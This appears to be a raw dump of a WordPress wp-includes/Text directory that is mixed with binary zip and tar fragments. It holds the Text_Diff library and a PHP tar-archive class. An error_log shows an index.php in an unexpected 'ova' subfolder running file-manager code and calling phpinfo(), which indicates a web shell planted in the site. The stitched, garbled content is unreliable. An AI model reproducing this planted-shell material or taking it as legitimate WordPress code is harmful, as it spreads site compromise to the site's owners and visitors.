yN)?+/*İZd'P}[{F=I,LȜTxKDy ¢P^/4t@n%2fKk =\p*zfjMkLrohLu)\ֈBن/`ޚI-МV#`J1hi(uuKh"c,6Ȗ>eLG<eR2]_lF)Ӧ#ZfdQ twSD6˔Dp$ rSDCP;BÆFI3vaL%.L3m|zn˂d.iסT,1=\4 r(qvq+ /s\.Y]Z-kiʠnFφzα,h 1݆ }4=vtm_шdCw1;Z [1eцf{U7mĆyGMJ tz,Mw}wۚKYtoZ@.^br)or>h.{^0xsΣ0A&.tT^@fdKJ1H@U`yE,z!YmG7j4%KTv{e=o0C2dmޣ#UM]uNYc;뀎t)=&O QG37m;[O%ַIs+{m|7ש{e{/LeLd-t;J)ҋw;^+7>ʤ O%p:5g(GX75G)+n|sۜ哀Zݮ#SPy:Pdx< n<9gh΋~/0bgsh!Iw3Ls5/5NtGR7U9aKWI r-PY2LX$\D% 0&:u*o&e=^{*n5vFz6WigG!LL\ Qw li6Ⱦ;e܇˥"kj1s A;~=YC蘊뽕+r~KO@իvne!]Y8.s}ϘdKZjhK5cOE39><};R|ۛ*Hg`}kqV&~1dJˣcDK' !EAk -%ƪrCNϢ0[l]hfΪ$*D!kY>MPRVtJ7[YGBb3a1U jM1Lj?kGW˓pgQ%xjT_./J3h3+|4=gi_vdAy۞ߓn73i۔?w3ufwҭ[u.I.IϾn1m3beGV+G[0gmj7]og* !1W];JoڎXn/ 3O!oأ(yEs|_γ}Ψ}GN2LWP ZO95g`:pȽ|5!j}a~^x8PgX 29]Y0 +\qvJeo"KC~ګ#x1/^ޑ;yB.ߧ;5͙39tu"&/:8#̀nj@V:XڗӗM06pf뫟zAMus~y'eEW=U]f^2eq9GOm95qX ;S'.c1IkԮuySr@=@ ,K3G.4BZXE9KS}n x~27 ٴu?E.)D'ѿZj eL#ZKRӒn:сSMqi1X.AT &Y1v2-;B2m^jXmͭ5KY tLyNyy%{uV l@6v ٤[/E-p3"NИ)h^a]Ҵjl /հA0Ig3-π/ăx$@ _Dk4NA""u5Z`Lq[`l^;$xy0_??$3Wf=h~[CTx[[q$d Pk99J$lʣd>wzi)JҫezO?????ݖuPK$ $[s:0class-wp-block-templates-registry.php.php.tar.gznu[n6W0[9orҥmÆ[K3i,i$k;H")9qClFzɐ_t8KD|LO(DŽsiFg}AY}F dQ}`no7Gޣvw hʹ X~ ^+Y{Y=CGGQQ4ɓH4@83)AR6~ !J F=l$ߤ 8(d&)C4a Lт*#dⓛdž·2RBdF0-S's^M0eÎ pY 값O",5x ۭsvW'f //ڕFoD`(fJtJ7V2$cOJ hT XtRRh`q&CS  EHOA4`6\28C/-T|N FDΒa-c`#0. yA*PL>4)`"Jj]OQ  nJ4B0 yE1` Dy 3G[pvQ89TPtJ @/{K%ZV XD3`6<>q|@$(I,#,ee5Ƚy_ O?qQcǡݹ pR }4_8d8?#8&iiwČK*;V 'RiRA}(gOcfcFxigݼiXh3z9"\JZaۣ=հ@@e3(!L|e(AcM<\Ƅ]-A K.@ E2BWvL&8EBTS̊MYj2IklVh#tyBql(N!6eJD#\̠ rbȼd0(D]'`Wuྩ69,"@KUǒάl8B Y5AE\UA }/t|p߈UFs9&畅d?ZʨU(lc?YNP-n$KMjUځWs87M T Y@Es"o4]1^=ud}yQ;ω`|,bO Ö,> ݤtu,\ij7KD+L+'WYrVMjTU3 TGVŒWvdP=S(/kŷ󖬃+s.P]_HmLi۔!;wJp4Ò{ߵ n:88h(InqR!5KbwNr`(.:,HOsby7! C8*rVXǜ|oCӝ~5dIdH$j͚gl5r=|  rBB <-<^5_aapπn K]4}-(/ ={[;2o P;msPC&f $SL#vŮ:/E5?}YGVOi- 5#'zpeͭNՒs8M4RFk +RPT\7(zN+of$:㲯UOy.&)[i6j{Mp J-(_~w`cM0q|3 W^GnG+zw9gR3Ug)ohk|Z /F˝=%^:oˠڣy+On ViAc s՜Y:v5:!],(⧀I@x|m8r!g%Zbya~qk%=Ax_zc5 f#}پ/zXar $PK& $[ƨR R Text.zipnu[PKP[y|k3G2G2Diff.phpnu[, and is used/adapted with his permission. * * Copyright 2004 Geoffrey T. Dairiki * Copyright 2004-2010 The Horde Project (http://www.horde.org/) * * See the enclosed file COPYING for license information (LGPL). If you did * not receive this file, see https://opensource.org/license/lgpl-2-1/. * * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_Diff { /** * Array of changes. * * @var array */ var $_edits; /** * Computes diffs between sequences of strings. * * @param string $engine Name of the diffing engine to use. 'auto' * will automatically select the best. * @param array $params Parameters to pass to the diffing engine. * Normally an array of two arrays, each * containing the lines from a file. */ function __construct( $engine, $params ) { // Backward compatibility workaround. if (!is_string($engine)) { $params = array($engine, $params); $engine = 'auto'; } if ($engine == 'auto') { $engine = extension_loaded('xdiff') ? 'xdiff' : 'native'; } else { $engine = basename($engine); } // WP #7391 require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php'; $class = 'Text_Diff_Engine_' . $engine; $diff_engine = new $class(); $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params); } /** * PHP4 constructor. */ public function Text_Diff( $engine, $params ) { self::__construct( $engine, $params ); } /** * Returns the array of differences. */ function getDiff() { return $this->_edits; } /** * returns the number of new (added) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of new lines */ function countAddedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_add') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->nfinal(); } } return $count; } /** * Returns the number of deleted (removed) lines in a given diff. * * @since Text_Diff 1.1.0 * * @return int The number of deleted lines */ function countDeletedLines() { $count = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_delete') || is_a($edit, 'Text_Diff_Op_change')) { $count += $edit->norig(); } } return $count; } /** * Computes a reversed diff. * * Example: * * $diff = new Text_Diff($lines1, $lines2); * $rev = $diff->reverse(); * * * @return Text_Diff A Diff object representing the inverse of the * original diff. Note that we purposely don't return a * reference here, since this essentially is a clone() * method. */ function reverse() { if (version_compare(zend_version(), '2', '>')) { $rev = clone($this); } else { $rev = $this; } $rev->_edits = array(); foreach ($this->_edits as $edit) { $rev->_edits[] = $edit->reverse(); } return $rev; } /** * Checks for an empty diff. * * @return bool True if two sequences were identical. */ function isEmpty() { foreach ($this->_edits as $edit) { if (!is_a($edit, 'Text_Diff_Op_copy')) { return false; } } return true; } /** * Computes the length of the Longest Common Subsequence (LCS). * * This is mostly for diagnostic purposes. * * @return int The length of the LCS. */ function lcs() { $lcs = 0; foreach ($this->_edits as $edit) { if (is_a($edit, 'Text_Diff_Op_copy')) { $lcs += count($edit->orig); } } return $lcs; } /** * Gets the original set of lines. * * This reconstructs the $from_lines parameter passed to the constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } PKP[-1 Exception.phpnu[<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKP[ڄpp ova/error_lognu[[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on 